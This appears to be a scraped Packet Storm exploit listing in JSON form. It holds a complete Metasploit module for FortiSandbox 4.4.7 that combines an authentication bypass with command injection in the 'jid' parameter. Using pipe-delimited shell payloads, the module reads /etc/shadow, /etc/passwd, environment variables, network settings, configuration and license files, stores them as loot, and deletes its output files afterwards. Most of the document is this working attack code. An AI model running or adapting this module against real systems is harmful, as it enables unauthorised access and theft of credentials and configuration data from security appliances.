{“lastseen”:”2026-06-12T16:34:10″,”description”:”This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module…”,”published”:”2026-06-12T00:00:00″,”modified”:”2026-06-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 FortiSandbox 4.4.7 Authentication Bypass \/ Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:223318″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-39808″,”CVE-2026-39813″],”sourceData”:”==================================================================================================================================\\n | # Title : FortiSandbox 4.4.7 Information Gathering Module |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.fortinet.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module supports multiple collection modes, including system details, network configuration, user-related information, configuration files, platform-specific artifacts, and job metadata. \\n It automates data collection, reporting, and artifact storage to assist security researchers and defenders in assessment and validation activities.\\n \\n \\n [+] POC : \\n \\n ##\\n # Auxiliary module for information gathering\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Auxiliary::Report\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Scanner\\n \\n def initialize\\n super(\\n ‘Name’ =\\u003e ‘FortiSandbox Information Gatherer’,\\n ‘Description’ =\\u003e %q{\\n This module gathers comprehensive information from vulnerable\\n FortiSandbox instances using CVE-2026-39813 (Auth Bypass)\\n and CVE-2026-39808 (Command Injection).\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-39813’],\\n [‘CVE’, ‘2026-39808’]\\n ]\\n )\\n \\n register_options([\\n Opt::RPORT(443),\\n OptBool.new(‘SSL’, [true, ‘Use SSL\/TLS’, true]),\\n OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘\/’]),\\n OptEnum.new(‘INFO_TYPE’, [true, ‘Type of information to gather’, ‘all’,\\n [‘all’, ‘system’, ‘network’, ‘users’, ‘configs’, ‘forti’, ‘jobs’]])\\n ])\\n end\\n \\n def run_host(ip)\\n print_status(\\”Gathering information from #{ip}\\”)\\n \\n case datastore[‘INFO_TYPE’]\\n when ‘all’\\n gather_all_info\\n when ‘system’\\n gather_system_info\\n when ‘network’\\n gather_network_info\\n when ‘users’\\n gather_users_info\\n when ‘configs’\\n gather_configs_info\\n when ‘forti’\\n gather_forti_info\\n when ‘jobs’\\n gather_jobs_info\\n end\\n end\\n \\n def execute_cmd(cmd)\\n output_file = \\”tmp_#{rand(10000)}.txt\\”\\n \\n injection_payload = \\”|#{cmd} \\u003e \/web\/ng\/#{output_file} 2\\u003e\\u00261|\\”\\n encoded_payload = Rex::Text.uri_encode(injection_payload)\\n \\n exploit_uri = normalize_uri(target_uri.path, ‘fortisandbox’, ‘job-detail’, ‘tracer-behavior’)\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e exploit_uri,\\n ‘vars_get’ =\\u003e { ‘jid’ =\\u003e encoded_payload },\\n ‘timeout’ =\\u003e 12\\n })\\n \\n Rex.sleep(2) \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘ng’, output_file),\\n ‘timeout’ =\\u003e 12\\n })\\n \\n output = res.body if res \\u0026\\u0026 res.code == 200\\n \\n cleanup_cmd = \\”rm -f \/web\/ng\/#{output_file}\\”\\n cleanup_payload = \\”|#{cleanup_cmd}|\\”\\n send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e exploit_uri,\\n ‘vars_get’ =\\u003e { ‘jid’ =\\u003e Rex::Text.uri_encode(cleanup_payload) }\\n })\\n \\n output\\n end\\n \\n def gather_system_info\\n print_status(\\”Gathering system information…\\”)\\n \\n cmds = {\\n ‘uname’ =\\u003e ‘uname -a’,\\n ‘hostname’ =\\u003e ‘hostname’,\\n ‘os’ =\\u003e ‘cat \/etc\/os-release 2\\u003e\/dev\/null’,\\n ‘uptime’ =\\u003e ‘uptime’,\\n ‘env’ =\\u003e ‘env’\\n }\\n \\n cmds.each do |name, cmd|\\n output = execute_cmd(cmd)\\n if output \\u0026\\u0026 !output.empty?\\n print_good(\\”#{name.upcase}:\\\\n#{output}\\”)\\n report_note(host: rhost, type: \\”fortisandbox.#{name}\\”, data: output)\\n end\\n end\\n end\\n \\n def gather_network_info\\n print_status(\\”Gathering network information…\\”)\\n \\n cmds = {\\n ‘interfaces’ =\\u003e ‘ip a 2\\u003e\/dev\/null || ifconfig’,\\n ‘routes’ =\\u003e ‘route -n 2\\u003e\/dev\/null || ip route’,\\n ‘connections’ =\\u003e ‘netstat -tulnp 2\\u003e\/dev\/null || ss -tulnp’,\\n ‘hosts’ =\\u003e ‘cat \/etc\/hosts’,\\n ‘iptables’ =\\u003e ‘iptables -L -n 2\\u003e\/dev\/null’,\\n ‘arp’ =\\u003e ‘arp -n 2\\u003e\/dev\/null’\\n }\\n \\n cmds.each do |name, cmd|\\n output = execute_cmd(cmd)\\n if output \\u0026\\u0026 !output.empty?\\n print_good(\\”#{name.upcase}:\\\\n#{output[0..500]}#{‘…’ if output.length \\u003e 500}\\”)\\n report_note(host: rhost, type: \\”fortisandbox.network.#{name}\\”, data: output)\\n end\\n end\\n end\\n \\n def gather_users_info\\n print_status(\\”Gathering user information…\\”)\\n \\n cmds = {\\n ‘passwd’ =\\u003e ‘cat \/etc\/passwd’,\\n ‘shadow’ =\\u003e ‘cat \/etc\/shadow 2\\u003e\/dev\/null’,\\n ‘groups’ =\\u003e ‘groups’,\\n ‘last_logins’ =\\u003e ‘last -a 2\\u003e\/dev\/null’,\\n ‘processes’ =\\u003e ‘ps aux | head -50’,\\n ‘sessions’ =\\u003e ‘who -a 2\\u003e\/dev\/null’\\n }\\n \\n cmds.each do |name, cmd|\\n output = execute_cmd(cmd)\\n if output \\u0026\\u0026 !output.empty?\\n print_good(\\”#{name.upcase}:\\\\n#{output[0..500]}\\”)\\n report_note(host: rhost, type: \\”fortisandbox.users.#{name}\\”, data: output)\\n report_cred(username: name) if name == ‘passwd’\\n end\\n end\\n end\\n \\n def gather_configs_info\\n print_status(\\”Gathering configuration files…\\”)\\n \\n configs = [\\n ‘\/opt\/fortisandbox\/conf\/’,\\n ‘\/etc\/fortinet\/’,\\n ‘\/data\/fortisandbox\/conf\/’,\\n ‘\/home\/fortisandbox\/.config\/’\\n ]\\n \\n configs.each do |path|\\n cmd = \\”ls -la #{path} 2\\u003e\/dev\/null\\”\\n output = execute_cmd(cmd)\\n if output \\u0026\\u0026 !output.empty?\\n print_good(\\”Config directory: #{path}\\\\n#{output}\\”)\\n \\n find_cmd = \\”find #{path} -type f -name ‘*.conf’ -o -name ‘*.cfg’ -o -name ‘*.ini’ 2\\u003e\/dev\/null | head -10\\”\\n files = execute_cmd(find_cmd)\\n if files\\n files.each_line do |file|\\n file.strip!\\n next if file.empty?\\n content = execute_cmd(\\”head -100 #{file} 2\\u003e\/dev\/null\\”)\\n if content\\n print_status(\\”Content of #{file}:\\\\n#{content[0..500]}\\”)\\n store_loot(\\”fortisandbox.config\\”, \\”text\/plain\\”, rhost, content, file, \\”FortiSandbox Config\\”)\\n end\\n end\\n end\\n end\\n end\\n end\\n \\n def gather_forti_info\\n print_status(\\”Gathering FortiSandbox specific information…\\”)\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘api’, ‘v1’, ‘system’, ‘firmware’)\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n begin\\n json = res.get_json_document\\n print_good(\\”FortiSandbox Info via API:\\”)\\n json.each do |k, v|\\n print_status(\\” #{k}: #{v}\\”)\\n end\\n report_note(host: rhost, type: \\”fortisandbox.api_info\\”, data: json.to_s)\\n rescue\\n end\\n end\\n \\n cmds = {\\n ‘version’ =\\u003e ‘\/opt\/fortisandbox\/bin\/fortisandbox -v 2\\u003e\/dev\/null’,\\n ‘license’ =\\u003e ‘cat \/data\/fortisandbox\/license\/* 2\\u003e\/dev\/null’,\\n ‘jobs’ =\\u003e ‘ls -la \/data\/fortisandbox\/jobs\/ 2\\u003e\/dev\/null | head -20’,\\n ‘logs’ =\\u003e ‘ls -la \/var\/log\/fortisandbox\/ 2\\u003e\/dev\/null | head -20’,\\n ‘quarantine’ =\\u003e ‘ls -la \/data\/fortisandbox\/quarantine\/ 2\\u003e\/dev\/null | head -20’\\n }\\n \\n cmds.each do |name, cmd|\\n output = execute_cmd(cmd)\\n if output \\u0026\\u0026 !output.empty?\\n print_good(\\”#{name.upcase}:\\\\n#{output[0..300]}\\”)\\n end\\n end\\n end\\n \\n def gather_jobs_info\\n print_status(\\”Gathering job information…\\”)\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘api’, ‘v1’, ‘job’, ‘list’)\\n })\\n \\n if res \\u0026\\u0026 res.code == 200\\n begin\\n jobs = res.get_json_document\\n print_good(\\”Found #{jobs.size} jobs via API\\”)\\n jobs.each do |job|\\n print_status(\\”Job: #{job}\\”)\\n end\\n report_note(host: rhost, type: \\”fortisandbox.jobs\\”, data: jobs.to_s)\\n rescue\\n \\n output = execute_cmd(‘ls -la \/data\/fortisandbox\/jobs\/ 2\\u003e\/dev\/null’)\\n print_good(\\”Jobs directory:\\\\n#{output}\\”) if output\\n end\\n end\\n end\\n \\n def gather_all_info\\n gather_system_info\\n gather_network_info\\n gather_users_info\\n gather_configs_info\\n gather_forti_info\\n gather_jobs_info\\n \\n print_good(\\”Information gathering completed\\”)\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223318″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223318\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-12T16:34:10″,”description”:”This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-62294","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n